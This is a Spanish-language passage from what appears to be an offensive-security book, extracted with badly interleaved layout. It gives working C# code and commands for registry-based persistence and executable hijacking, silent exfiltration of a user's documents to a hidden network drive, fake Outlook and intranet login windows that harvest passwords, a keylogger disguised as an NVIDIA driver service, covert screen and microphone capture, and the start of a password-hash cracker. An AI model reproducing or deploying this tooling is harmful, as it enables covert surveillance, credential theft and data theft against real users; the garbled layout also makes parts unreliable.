Abra el editor del registro Regedit.exe, y busque la clave mencionada.


Cree un nuevo valor de tipo Cadena.

Dele un nombre y aada como valor la ruta de su programa.

Sin permisos de administradores, es posible forzar el arranque de una aplicacin.

Aadiendo su aplicacin o su acceso directo en el directorio de arranque del usuario:

C:\Users\NombreUsuario\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\StartUp
Aadiendo una entrada en la clave de registro de arranque del usuario:

HK_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Cree un nuevo valor de tipo Cadena.

Dele un nombre y aada como valor la ruta de su aplicacin.


Estos programas arrancarn automticamente en cuanto un usuario inicie una sesin. Para probar el
arranque, cierre la sesin e inciela de nuevo o reinicie su PC.

2. Los medios no convencionales

Para arrancar su programa automticamente, existen otras tcnicas un poco menos convencionales, como instalar
un servicio, reemplazar la Shell, cambiar la ejecucin de la imagen de una aplicacin o tambin modificar el
comportamiento de la extensin EXE.

Con permisos de administradores, puede hacer las modificaciones siguientes:

Para reemplazar la Shell de arranque por su aplicacin:

Modifique el valor de la Shell de la clave:


Reinicie
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ su PC. Su
aplicacin
se ejecutar en vez de Windows.

Para modificar el arranque de un ejecutable en particular por el suyo:

Aada la clave que corresponde al nombre del ejecutable que se va a reemplazar, por ejemplo para el Bloc de notas
(notepad.exe):
Aada un
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ valor de
tipo
CurrentVersion\Image File Execution Options\Notepad.exe
Cadena
con el
nombre debugger y con el valor cmd.exe.
Haga clic en el acceso directo del Bloc de notas o ejecute notepad.exe. Es la consola la que se ejecutar.
Modifique el funcionamiento de la extensin EXE.
Modifique el valor por defecto de la clave que define cmo se ejecuta un fichero exe.
Escriba
HKEY_CLASSES_ROOT\exefile\shell\open\command en su
lugar:

Al
cmd.exe /k dir | start %1

ejecutar una aplicacin, la lnea de comandos arranca y la aplicacin deseada arranca a su vez.

Inicie Paint para probar el ejemplo.

Las aplicaciones ejecutadas como usuario o con el UAC activado pueden ser modificadas en la siguiente clave:

Cambie
HKEY_CLASSES_ROOT\exefile\shell\runas\command los
valores
por defecto, as como el valor de IsolatedCommand.
Arranque
cmd.exe /k dir | start %1 un
programa
con privilegios elevados para probar el cambio.
Paint se abre y la consola arranca con permisos de administradores.

Solo con los permisos de usuario es posible realizar casi todo lo que acabamos de ver, pero bajo claves de registro
diferentes donde el usuario tiene por defecto un acceso de escritura.

Para modificar el sistema de arranque, aada a la clave siguiente una subclave de tipo Cadena con el nombre Shell:

En
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\ el

CurrentVersion\Winlogon

valor, escriba cmd.exe.

Cierre la sesin y vuelva a iniciarla. El sistema arranca nicamente la lnea de comandos. EscribaExplorer.exe si
desea arrancar Windows normalmente.
Para modificar el comportamiento de un ejecutable por extensin, cree el fichero de registro siguiente:
Ejecute el
Windows Registry Editor Version 5.00 fichero y
haga una
prueba
abriendo
[HKEY_CURRENT_USER\Software\Classes\exefile]

[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon]

@="%1"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command]

@="cmd.exe /k dir | start %1"

"IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command]

@="\"%1\" %*"

"IsolatedCommand"="cmd.exe /k dir | start %1"

MSpaint.exe.
La ventana de comandos, as como el programa, se abren. Esto funciona tambin con privilegios elevados.

Puede crear tambin un servicio de Windows que arrancar automticamente, pero no existir interaccin alguna
entre su servicio y el usuario. La instalacin de un servicio necesita privilegios de administrador en el equipo.
Encontrar ms detalles de este mtodo en los siguientes apartados.

Filtrar datos en diferencial


Un usuario, aunque posea pocos permisos, tiene definido un rol en la empresa. Ese rol, como contable, vendedor,
encargado de relaciones pblicas o soporte tcnico, da permisos de acceso a ficheros, programas y, globalmente, a
una cantidad ingente de informacin. Estas informaciones son interesantes para el que las quiere o las necesita.
Para el que las tiene delante de sus narices todos los das no son obligatoriamente pertinentes. En este escenario,
vamos a ver cmo robar informaciones que se encuentran en los directorios donde el usuario guarda sus
documentos. El directorio podra ser cualquier directorio en el que el usuario posee permisos. Los documentos
robados se copiarn en un directorio compartido, un sitio WebDAV o en un sitio SharePoint.
1. Usar una carpeta compartida como destino

Si el equipo del usuario se encuentra en la misma red en la que se lanza el ataque, entonces ser muy sencillo
recuperar los ficheros. Para ello, comparta una carpeta.

Cree un directorio en la carpeta pblica llamada users.

Haga clic
C:\Users\Public\users con el
botn
derecho del ratn, elija Propiedades y acceda a la pestaa Compartir - Uso compartido avanzado....

Comparta la carpeta y otorgue el permiso de Control total a Todo el mundo.


En la pestaa Seguridad, aada el permiso de Modificar al grupo Todo el mundo.

2. Configurar un servidor con WebDAV como destino

Si el equipo no se encuentra en la misma red, algo que puede ocurrir con el porttil de un comercial que viaja
mucho, vamos a configurar un servidor web que funcionar como un servidor de ficheros. Podremos copiar all los
ficheros. Hubisemos podido utilizar un servidor FTP, pero la salida de este servicio suele bloquearse en los
cortafuegos de la empresa.

Para ello, instale IIS en un servidor o en su equipo con los componentes WebDAV, como en este ejemplo con
Windows 8.
Una vez instalado, configure la autenticacin para que todo el mundo pueda escribir en el directorio. Para crear una
nueva regla, abra la consola de gestin de IIS y utilice el men Agregar regla de creacin WebDAV. En el
formulario, seleccione Todo el contenido, Todos los usuarios, as comoLeer, Origen, Escribir y confirme su
eleccin con el botn Aceptar. En el men de la derecha, haga clic en Habilitar WebDAV.

Vuelva a la pgina anterior y active la exploracin del directorio.

Vuelva a la pgina anterior. Aada una aplicacin en el sitio web por defecto.

Llmela users y d la ruta del directorio Users creado anteriormente en la carpeta pblica.
Pruebe su sitio web con el explorador de Windows, mapee una unidad de red en su sitio web o ejecute el comando
siguiente:
Si el
Net use z: \\localhost\users comando
se ha
ejecutado correctamente, debera poder aadir documentos en la unidad Z: desde el explorador de Windows.

3. Configurar SharePoint como destino

En SharePoint u Office 365, usaremos una biblioteca de documentos para enviar nuestros ficheros. Para ello, cree
una biblioteca de documentos o utilice una biblioteca existente.

Vaya a la biblioteca de documentos y haga clic en Abrir con el Explorador.

Conseguir una direccin web como la obtenida con WebDAV.

http://misitio/TeamSite/test/Documents
Utilice esta URL para montar su unidad de red:

4.
Net use u: http://misitio/TeamSite/test/Documents

Crear la aplicacin

Ha visto las diferentes opciones para el destino de los ficheros copiados. Un sitio SharePoint o WebDAV permite
enviar estos ficheros desde el exterior y adems, por qu no, con HTTPS. Esta aplicacin podra servir
perfectamente para realizar una copia de seguridad diferencial; lo que cambia es que el usuario no sabe nada de
esta copia.

Para enviar nuestros ficheros a su destino, haremos una sencilla copia hacia una unidad de red creada por nuestra
aplicacin. La letra de la unidad ser B: ya que esta unidad no es utilizada por el sistema operativo. Estaba en
origen reservada para un posible segundo lector de disquetes.

Process map = new Process();

if (active && destinoWeb.Length > 5)

map.StartInfo.Arguments = @"/c net use " +

letraUnidad + " " + destinoWeb;

else

map.StartInfo.Arguments = @"/c net use " +

letraUnidad + " /del /y";

map.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

map.StartInfo.FileName = "cmd.exe";

map.Start();

map.WaitForExit(5000);

Para que el usuario no vea esta unidad, la montaremos antes de la copia y la desmontaremos despus.
Aadimos nuestro programa en el arranque, para que la copia est actualizada.

Si
Process reg = new Process(); el

reg.StartInfo.Arguments = "add

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\

Run /v \"sync Backpup tool\" /t REG_SZ /d \"" +

Path.Combine(Environment.CurrentDirectory, "Sync.exe") + "\" /f";

reg.StartInfo.FileName = "reg.exe";

reg.StartInfo.WindowStyle =

ProcessWindowStyle.Hidden;

reg.Start();

reg.WaitForExit();

usuario ejecuta nuestra aplicacin con permisos de administrador, esta modificar las claves de registro
correspondientes a una directiva de grupo para esconder la unidad usada en el explorador.

reg.StartInfo.Arguments = "add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\

Policies\\explorer /v \"NoDrives\" /t REG_DWORD /d " + unidadID + " /f";

reg.Start();

reg.WaitForExit();

reg.StartInfo.Arguments = "add

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\

Policies\\explorer /v \"NoViewOnDrive\" /t REG_DWORD /d " +

unidadID + " /f";

reg.Start();

reg.WaitForExit();

Para esconder la unidad B, usaremos el nmero 2. Para comprenderlo, mire la siguiente tabla:

Es
A: B: C: D: E:
el
1 binario que usaremos.
cdigo 2 4 las unidades C y
Si desea usar 8 E, el cdigo binario
16 sera 20.
Vamos a vigilar la carpeta fuente de la copia con el fin de recibir una notificacin en cuanto se aada, renombre o
actualice un fichero. Haremos lo mismo con la carpeta destino.

Se
FileSystemWatcher vigilaFichero = new FileSystemWatcher(fuente);

vigilaFicheros.Filter = "*.*";

vigilaFicheros.Path = fuente;

vigilaFicheros.NotifyFilter =

NotifyFilters.LastAccess | NotifyFilters.LastWrite

| NotifyFilters.FileName |

NotifyFilters.DirectoryName;

vigilaFicheros.EnableRaisingEvents = true;

vigilaFicheros.Changed += vigilaFicheros_Change;

vigilaFicheros.Created += vigilaFicheros_Change;

vigilaFicheros.Renamed += vigilaFicheros_Renombrar;

puede descargar el cdigo fuente completo desde la pgina Informacin.

Cree un fichero de texto, que llamaremos backup_cmd.txt, con el siguien-te cdigo:


using Microsoft.Win32;

using System;

using System.Collections.Generic;

using System.Diagnostics; El

using System.IO;

using System.Security.Permissions;

using System.Text;

namespace File_Copy

class Program

//No examina voluntariamente los subdirectorios

static string fuente = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

static string carpetaDestino = @"b:\desktop\" +

Environment.UserName;

static string letraUnidad = "b:";

static int unidadID= 2 ; // a=1, b=2 , c =4, d=8 -> c y d =

12 etc...

static string destinoWeb =

"http://localhost:90/test/"; //si webdav

static void Main(string[] args)

try

FileSystemWatcher vigilaFicheros =

new FileSystemWatcher(fuente);

vigilaFicheros.Filter = "*.*";

vigilaFicheros.Path = fuente;

vigilaFicheros.NotifyFilter =

NotifyFilters.LastAccess | NotifyFilters.LastWrite
cdigo fuente de este programa nos muestra cmo forzar su arranque automtico al iniciar la sesin. Nos muestra
tambin cmo copiar solamente los ficheros modificados hacia el destino y cmo aplicar una poltica de grupo
mediante programacin.

Hubisemos podido tambin cargar los ficheros en un sitio web con un upload:

WebClient Enviar = new WebClient();

Enviar.UploadFile (fuente, destino);

Pero el objetivo era disponer de una aplicacin que gestione la copia de ficheros en una carpeta compartida o un
sitio web sin escribir demasiado cdigo.

5. Compilar el programa

Solo queda trasformar nuestro cdigo en programa. Encontrar ms informa-cin sobre la compilacin de un
programa en el inicio de este captulo. La aplicacin creada es de tipo consola; no est, por lo tanto, por s misma
escondida al usuario. Descubrir cmo hacerlo en los captulos siguientes.

Vaya al directorio del framework 2 o 4 y ejecute el comando siguiente:

csc /out:c:\temp\backup.exe /target:exe c:\temp\backup_cmd.txt

Ahora puede probar su aplicacin. Esta copia sus ficheros hacia el destino. Cuando se modifique un fichero, este
debe actualizarse en el destino.

Crear una ventana de autenticacin


El usuario de una empresa est acostumbrado a que se le solicite su contrasea varias veces. En ocasiones,
introduce una contrasea para visitar ciertos sitios web si la empresa utiliza un proxy, se conecta a Outlook, a Lync,
etc.

Vamos a aprovecharnos de esta solicitud casi excesiva para pedir al usuario su contrasea. Le daremos como
informacin su nombre de usuario, lo que le dar confianza para seguir adelante.

1. Principios bsicos

Primero, elegimos una aplicacin para su modificacin. Para monitorearla, miraremos la lista de procesos. En
cuanto esta arranque, la pararemos, si se trata de una aplicacin de gestin, ya que la ventana de solicitud de
credenciales debe ser nica. Con programas como Outlook o IE, no necesitamos pararla, sino que debemos
esperar a que haya arrancado completamente.

Para monitorear el proceso:


Process[] Procesos = Process.GetProcessesByName("Outlook");

if (Procesos.Length > 0)

Para parar un proceso:

Procesos[0].Kill();

Para recuperar el nombre de usuario y el dominio actual:

La
Environment.UserName;

Environment.UserDomainName;

modificacin de la ventana de solicitud se realizar con Paint, hasta obtener una imagen exenta de informaciones
personales.

2. Crear el programa para Outlook

Para este programa, le aconsejamos insistentemente que utilice Visual Studio. Usaremos una captura de pantalla
de la peticin de autenticacin para reproducirla lo mejor posible. Ser, por lo tanto, ms sencillo gestionar la
parte grfica con Visual Studio que con el Bloc de notas. Le recordamos que existe una versin express,
gratuita y descargable en el sitio web de Microsoft.

Modifique las propiedades de la siguiente forma para crear una ventana de login de Outlook.

FormBorderStyle = None

Text = Outlook

BackgroundImage = ruta de la imagen de la ventana de login


Para no tener que rehacer cada botn y cada elemento, usaremos un Panel para cada zona donde se pueda hacer
clic.

Coloque un Panel por encima de la captura de pantalla, en el emplazamiento de un botn, por ejemplo, el botn OK.
Despus, modifique las propiedades como sigue:

En
Name = ButOk los

BackgroundColor = Transparent

lugares donde aparece texto, como el nombre del dominio y el de usuario, un Label ser ideal.

Aada un Label con las siguientes propiedades:

En
Name = lblUser el

BackColor = Transparent

lugar donde debe indicarse la contrasea, aada un campo de texto con las siguientes propiedades:

El
Name = txtpass

UseSystemPasswordChar = true;

panel usado en la zona de ttulo deber permitir el desplazamiento de la ventana:


Aada un
private void objetivoTitulo_MouseMove(object sender, MouseEventArgs e) Timer al
formulario
{ con el
nombre
if (SeMueve) de Minut
ero y con
{ un valor
de 5000 c
omo lapso
de
this.Location = Cursor.Position; tiempo.
Acurdese
de
activarlo.
}

} El

private void objetivoTitulo_MouseDown(object sender,

MouseEventArgs e)

SeMueve = true;

private void objetivoTitulo_MouseUp(object sender,

MouseEventArgs e)

SeMueve = false;

resultado de sus modificaciones debe parecerse a la siguiente imagen:


A continuacin le presentamos el cdigo completo Program.CS, que resulta particular. Declara un Form sin
presentarlo en pantalla, pero el minutero que monitorea el proceso ya ha arrancado.

El
using System.Windows.Forms;

namespace LoginPass

static class Program

/// <summary>

/// The main entry point for the application.

/// </summary>

[STAThread]

static void Main()

Application.EnableVisualStyles();

Application.SetCompatibleTextRenderingDefault(false);

//Application.Run(new Form1());

Form1 f1 = new Form1();

Application.Run();

cdigo del Form permite presentarlo en pantalla solamente si la aplicacin elegida para el engao ha terminado de
arrancar y si ningn fichero que contenga la contrasea est presente.
using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data; El

using System.Diagnostics;

using System.Drawing;

using System.IO;

using System.Text;

using System.Windows.Forms;

namespace LoginPass

public partial class Form1 : Form

public Form1()

f1 = this;

InitializeComponent();

bool SeMueve = false;

Boolean Mostrado = false;

Form1 f1;

String Destino = @"c:\temp\passoutlook-"+

Environment.UserName +".txt";

private void Form1_Load(object sender, EventArgs e)

lbUser.Text = Environment.UserDomainName

+"\\"+Environment.UserName;

lbDomaine.Text = "su cuenta " + Environment.UserDomainName;

txtPass.UseSystemPasswordChar = true;

private void objetivoExit_Click(object sender, EventArgs e)


resultado es interesante; en cuanto la aplicacin detecta Outlook, muestra el formulario de login con el dominio y
el nombre de usuario.

3. Crear el programa para IE

Vamos a averiguar qu sitios web visita el usuario. En cuanto visite la intranet, le pediremos sus credenciales
mediante una ventana de login. Para ello, debemos vigilar IE y encontrar el nombre de su intranet.

La ventana de conexin depurada se parece a la siguiente:

Aada un Label para el nombre del sitio visitado al lado de Conectndose a.


Aada un Label para el nombre de dominio. Aada tambin los campos de texto para la introduccin de los datos y
un Panel para cada botn.

Vamos a modificar las lneas de cdigo que monitorean los procesos para vigilar Iexplore. Internet Explorer crea
un proceso para cada pgina visitada. Solo la pgina activa tiene un ttulo en la propiedad MainWindowTitle de su
proceso.

Process[] Procesos = Process.GetProcessesByName("iexplore");

Vamos a recorrer todas las pginas visitadas. Si alguna de ellas contiene el nombre de la intranet, presentaremos
nuestra ventana de login.
using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Drawing;

using System.Linq;

using System.Text;

using System.Threading.Tasks;

using System.Windows.Forms;

namespace Crack_num_password

public partial class Form1 : Form

private System.Windows.Forms.TextBox textBox1;

private System.Windows.Forms.TextBox textBox2;

private System.Windows.Forms.Button button1;

public Form1()

//InitializeComponent();

this.textBox1 = new System.Windows.Forms.TextBox();

this.textBox2 = new System.Windows.Forms.TextBox();

this.button1 = new System.Windows.Forms.Button();

this.SuspendLayout();

//

// textBox1

//

this.textBox1.Location = new System.Drawing.Point(22, 24);

this.textBox1.Name = "textBox1";

this.textBox1.Size = new System.Drawing.Size(235, 20);

this.textBox1.TabIndex = 0;

//

// textBox2
using System;

using System.Collections.Generic;

using System.Text;

using System.Drawing.Imaging;

using System.Drawing;

using System.Windows.Forms;

using System.Threading;

namespace PrintScreen

class Program

static Form f1 = new Form();

static void Main(string[] args)

f1.ShowInTaskbar = false;

System.Timers.Timer minutero1 = new System.Timers.Timer();

minutero1.Enabled = true;

minutero1.Interval = 5000; //5000 = 5 segundos

minutero1.Elapsed += minutero1_action;

Thread th = new Thread(minutero1.Start);

th.Start();

Application.Run();

private static void minutero1_action(object sender,

System.Timers.ElapsedEventArgs e)

Screen[] pantallas = Screen.AllScreens;

foreach (Screen sc in pantallas)

string fichero = @"c:\temp\" + sc.DeviceName + "-" +


using System;

using System.Collections.Generic;

using System.Text;

using System.Windows.Forms;

using System.Runtime.InteropServices;

using System.IO;

using System.Threading;

using System.Reflection;

[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]

[assembly:AssemblyVersion("7.17.13.697")]

[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]

[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]

namespace keyLogger

class Program

[DllImport("User32.dll")]

private static extern int GetAsyncKeyState (long vKey);

[DllImport("user32.dll")]

static extern uint MapVirtualKey(uint uCode, uint uMapType);

static StreamWriter fichero;

static string rutaFichero = @"c:\temp\logkey.txt";

static Form f1 = new Form();

static void Main(string[] args)

f1.Name = "NVIDIA Driver Helper Service";

f1.ShowInTaskbar = false;

f1.Hide();

f1.WindowState = FormWindowState.Minimized;
Acurdese de cambiar el nombre del fichero de destino para obtener un fichero diferente que contenga las
contraseas de Outlook e IE. El resto del desarrollo es el mismo que para Outlook.

if (Procesos.Length > 0)

4. Crear el programa para una aplicacin de gestin


{

if (!File.Exists(Destino) && !Mostrado)


Para crear una ventana de login de una aplicacin de gestin, procederemos de la misma manera. Empezaremos
por capturar
{ la pantalla de login en nuestro equipo, y modificaremos con Paint si fuese necesario. El siguiente
ejemplo presenta la interfaz voluntariamente modificada de una aplicacin real. Solo se presenta a ttulo de
ejemplo.

Mostrado = true;

foreach (Process p in Procesos)

{
El principio es el mismo que en el apartado anterior. Colocaremos los campos de texto en las zonas adecuadas, un
Panel en cada botn,
//Solo laetc.
ventana activa tiene ttulo

if (p.MainWindowTitle.Contains("intranet"))
Una de las cosas que cambian es el tipo de aplicacin. El login solo se solicita en el arranque de esta. Debemos,
{
por lo tanto, detectar el arranque de la aplicacin, forzar su cierre, mostrar nuestra ventana de login y, por fin, re-
arrancar la aplicacin normalmente. Solo se debe hacer este proceso una vez, esperando que el usuario nos d su
contrasea correctamente.
f1.ShowDialog();

}
Parra detectar el arranque de la aplicacin, debemos primero saber cmo se llama. Para ello, arranque la
aplicacin y vaya al Administrador de tareas (ejecute taskmgr.exe o pulse las teclas [Ctrl][Mays][Esc]).

En la lista de procesos, haga clic en la aplicacin con el botn derecho del ratn y muestre las propiedades para
obtener el nombre real, as como la ruta del fichero ejecutable.

El cdigo visto anteriormente se adapta bastante bien. Sin embargo, debemos cambiar un evento para que pare
la aplicacin y muestre nuestra ventana de login.
private void Minutero_Tick(object sender, EventArgs e)

Process[] Procesos =

Process.GetProcessesByName("Outlook");

if (Procesos.Length > 0)

if (!File.Exists(Destino) && !Mostrado)

Procesos[0].Kill(); //Stop la aplicacin

Mostrado = true;

f1.ShowDialog(); //Muestra la ventana de login

Debemos tambin re-arrancar la aplicacin despus de registrar la contrasea.

Process p = new Process();

p.StartInfo.FileName = @"c:\rutaApp\miApp.exe";

p.StartInfo.Arguments = "/argumentos aqui";

p.Start();:

Aadiremos el cdigo siguiente en el evento del botn OK, justo antes de salir del programa. Por lo tanto, justo
antes que:

El
Application.Exit();

usuario no debe sospechar que buscamos robarle su contrasea. De modo que es fundamental que su programa
solo le pida una vez la contrasea, y no hacer nada mientras exista un fichero que contenga la contrasea. Debe
solicitar a la aplicacin que escriba el fichero en una carpeta compartida. Podr entonces en cualquier momento
eliminar el fichero y la aplicacin solicitar de nuevo las credenciales al usuario.

Crear un keylogger
Existen numerosos keyloggers. La mayora de ellos usan un sistema muy conocido, el mtodo SetWindowsHookEx,
que permite almacenar las teclas pulsadas. Sin embargo, es tambin lo primero que miran los sistemas de
seguridad para impedir la captura del teclado.

Encontrar ms informacin sobre el mtodo SetWindowsHookEx en el sitio web de Microsoft, en la siguiente


direccin: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx

Vamos a usar una tcnica diferente para ser ms discretos. Nuestro programa ir pidiendo regularmente las teclas
en vez de suscribirse a los eventos de teclado. El cdigo que presentamos gestiona la tecla pulsada pero no si esta
se escribe en maysculas, es decir si [Alt] o [Mays] son pulsadas al mismo tiempo.

1. Principios bsicos

Para esconder un poco ms la aplicacin en el administrador de tareas, vamos a darle un nombre con sus
propiedades. Esto se hace por medio de las propiedades de la aplicacin.

El nombre dado se parece al de un servicio de driver.

using System.Reflection;

[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]

[assembly:AssemblyVersion("7.17.13.697")]

[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]

[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]

Usaremos en .NET User32.dll, que nos permitir buscar las informaciones tecleadas con toda discrecin. La
funcin DllImport va a permitirnos cargar esta DLL.

[DllImport("User32.dll")]

private static extern int GetAsyncKeyState (long vKey);

[DllImport("user32.dll")]

static extern uint MapVirtualKey(uint uCode, uint uMapType);

Esta vez crearemos una aplicacin que no se mostrar al usuario. Es una aplicacin de tipo Windows. No
cargaremos el Form principal en el programa. Configuraremos asimismo las propiedades de la aplicacin para que
no aparezca en la parte clsica del administrador de tareas.
f1.Name = "NVIDIA Driver Helper Service";

f1.ShowInTaskbar = false;

f1.Hide();

Application.Run();

Todas estas particularidades permitirn que nuestra aplicacin sea discreta y eficaz. Le quedar aadir la
aplicacin al arranque, como hemos visto en el captulo anterior.

2. Crear la aplicacin
Cree un nuevo fichero de texto llamado Driver.txt y aada el siguiente cdigo:

3. Compilar la aplicacin

Esta vez, nuestra aplicacin es una aplicacin Windows Forms invisible. El tipo de destino debe serwinexe.

Vaya al directorio del framework 2 o 4 y ejecute el comando de compilacin. A continuacin le recordamos el


comando para el Framework 2:

Una
cd C:\Windows\Microsoft.NET\Framework\v2.0.50727 vez

csc /out:c:\temp\nkey.exe /target:winexe c:\temp\driver.txt

arrancada la aplicacin, esta no se presenta al usuario ni tampoco en la parte clsica del administrador de tareas.

La encontraremos en el detalle de la tarea con las propiedades aadidas al fichero.


Queda muy discreto y el log se llena en cada tecla pulsada.

Puede crear un fichero de log en una carpeta compartida de red, en vez de crearlo en el equipo local; reflexione
sobre ello.

Capturar la pantalla
Hemos visto cmo capturar las teclas pulsadas por el usuario. Pero qu pasa en el equipo de la vctima? Usted va a
poder aadir la funcin de captura de pantalla del equipo objetivo.

1. Principios bsicos

Para capturar la pantalla, usaremos una funcin muy sencilla que se debe poner en marcha. Piense en encontrar
un desencadenador interesante, como teclas pulsadas o un programa ejecutado; si no, el espacio usado para las
capturas de pantalla aumentar rpidamente.

El cdigo principal de este programa en el siguiente:

Se
g.CopyFromScreen(sc.Bounds.Location, new Point(0, 0),

sc.Bounds.Size);

completa con la gestin de todas las pantallas presentes, gracias al vector siguiente:

2.
Screen[] pantallas = Screen.AllScreens;

Crear la aplicacin

Este cdigo permite la captura de pantalla y el envo de un fichero de imagen. El siguiente cdigo gestiona varias
pantallas.

Cree un fichero de texto que se llame Captura.txt y aada el siguiente c-digo:

3. Compilar la aplicacin

Esta aplicacin ha sido diseada como una aplicacin invisible. Para ello, debe ser compilada como una aplicacin
Windows Forms. Puede tambin recoger los elementos clave y aadirlos al keylogger.

Vaya al directorio del framework del que disponga y ejecute el siguiente comando. Se presenta el comando para el
framework 4:
Al
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319

csc /out:c:\temp\cap.exe /target:winexe c:\temp\captura.txt

arrancar el programa, no se le muestra nada al usuario. Pero en la carpeta de destino, una imagen es almacenada
por cada monitor cada 5 segundos.

Grabar el sonido
Hemos cubierto la captura del teclado, la de la pantalla, pero qu ocurre a su alrededor? Para averiguarlo
grabaremos el sonido del micrfono. Todos los dispositivos mviles disponen de uno y, si el equipo objetivo utiliza
Lync, Skype u otro software de comunicacin, dispondr tambin de micrfono.

1. Principios bsicos

Para grabar el sonido, existen multitud de funciones en .NET, pero necesitan generalmente de la instalacin de un
SDK. Preferimos presentarle un cdigo que se compila en todos los tipos de equipos sin ningn aadido. Para ello,
usaremos la DLL Winm.dll.

[DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet =

CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

private static extern int mciSendString(string

lpstrCommand, string lpstrReturnString, int uReturnLength,

int hwndCallback);

[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")]

public static extern void GetWaveVolume(IntPtr

devicehandle, out int Volume);

Esta DLL es muy sencilla de utilizar para grabar el sonido.

Para grabar el sonido:


mciSendString("open new Type waveaudio Alias recsound", "", 0, 0);

mciSendString("record recsound", "", 0, 0);

Para enviar lo capturado a un fichero y cerrarlo:

2.
mciSendString("save recsound mifichero.wav", "", 0, 0);

mciSendString("close recsound ", "", 0, 0);

Crear la aplicacin

A continuacin, le presentamos el cdigo completo de una aplicacin de lnea de comandos que graba el sonido
desde el arranque de la aplicacin hasta que se pulse [Intro]. El cdigo est, por supuesto, como el resto de
cdigo, disponible en nuestro sitio web.
using System;

using System.Collections.Generic;

using System.Runtime.InteropServices;

using System.Text;

namespace Soundrecorder

class Program

[DllImport("winmm.dll", EntryPoint = "mciSendStringA",

CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]

private static extern int mciSendString(string

lpstrCommand, string lpstrReturnString, int uReturnLength, int

hwndCallback);

[DllImport("winmm.dll", EntryPoint = "waveOutGetVolume")]

public static extern void GetWaveVolume(IntPtr

devicehandle, out int Volume);

private static string horaGrabacion = "";

private static string rutaFichero = @"c:\temp\"; //ha cambiado

static void Main(string[] args)

SoundRecord(true);

Console.ReadLine();

SoundRecord(false);

}
Podramos aadir un detector del volumen del sonido, para desencadenar la grabacin de un fichero o para
pararlo cuando nada ocurre, pero, para eso, debemos usar la librera de Microsoft.Speech, que en el caso de
Windows 8 arranca la aplicacin de reconocimiento de voz. Esta necesita una configu-racin antes de su
utilizacin. El framework mnimo para el reconocimiento de voz es el 3.5.

A nivel del cdigo, debe importar al principio del programa la librera siguiente:

using System.Speech.Recognition;

Despus podr utilizar la propiedad AudioLevel, que devuelve el volumen de la entrada con un valor entre 0 y
100.

SpeechRecognizer reco = new SpeechRecognizer();

if (reco.AudioLevel > 50)

//Su cdigo

usando el evento asociado:

reco.AudioLevelUpdated += reco.AudioLevelUpdated;

Aada el cdigo usando e.AudioLevel como referencia del nivel del sonido.

private static void reconocimiento_AudioLevelUpdated(object

sender, AudioLevelUpdatedEventArgs e)

Console.WriteLine(e.AudioLevel);

Encontrar ms informacin en el sitio web de Microsoft, en el enlace siguiente: http://msdn.microsoft.com/en-


us/library/vstudio/system.speech.recognition.speechrecognizer
3. Compilar la aplicacin

Para variar, hemos realizado el programa como una aplicacin para la lnea de comandos. Por lo tanto, la
compilaremos para obtener un fichero de tipo exe. Vaya al directorio de su framework y compile su programa
como en el ejemplo siguiente, para el framework 4.

Al
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319

csc /out:c:\temp\sound.exe /target:exe c:\temp\sound.txt

arrancar el programa, la ventana de comandos se abre. El sonido ya se est almacenando en memoria. Pulsando
la tecla [Intro], el programa se cierra y guarda un fichero wav en el directorio de destino.

Aqu tiene un medio muy sencillo de aadir grabacin de sonido a su programa; se entiende que es muy sencillo
aadir estas funciones a las del keylogger y capturar la pantalla como hemos visto anteriormente, para llegar a
una nica aplicacin completa. Le dejamos esta tarea como ejercicio.

Romper una contrasea


En un registro algo diferente de lo que acabamos de ver, crearemos una aplicacin capaz de romper las contraseas
cifradas de Windows. Hemos visto en el captulo Extraer, romper, cambiar una contrasea que la extraccin poda
realizarse con herramientas como SamDump.

Una vez que tenemos en nuestra posesin el fichero de texto con las contraseas cifradas, debemos romperlas.
Hemos visto, siempre en el captulo dedicado a la temtica de romper las contraseas, que estas no son cifradas,
sino resumidas con MD4, siendo estas ltimas codificadas en Unicode. Para averiguar una contrasea a partir de
hash, debemos comparar una contrasea probable resumida con la que se encuentra en el fichero.

1. Principios bsicos

Para ello, utilizaremos una biblioteca de .NET que gestiona MD4, gratuita y descargable en Internet. .NET no
permite por defecto usar MD4. Microsoft anima a los desarrolladores a utilizar MD5 o algoritmos de hashes ms
seguros. Con un objetivo educativo, compararemos contraseas de tipo numrico que tengan entre 0 y 7
caracteres.

Descargue la biblioteca MD4 en el enlace siguiente:http://www.superstarcoders.com/blogs/posts/md4-hash-


algorithm-in-c-sharp.aspx

Para comparar nuestra eventual contrasea con la del fichero, transformaremos esta ltima en Unicode.

byte[] hashunicode = Encoding.Unicode.GetBytes(pass);

Vamos a resumirlo con el algoritmo MD4.


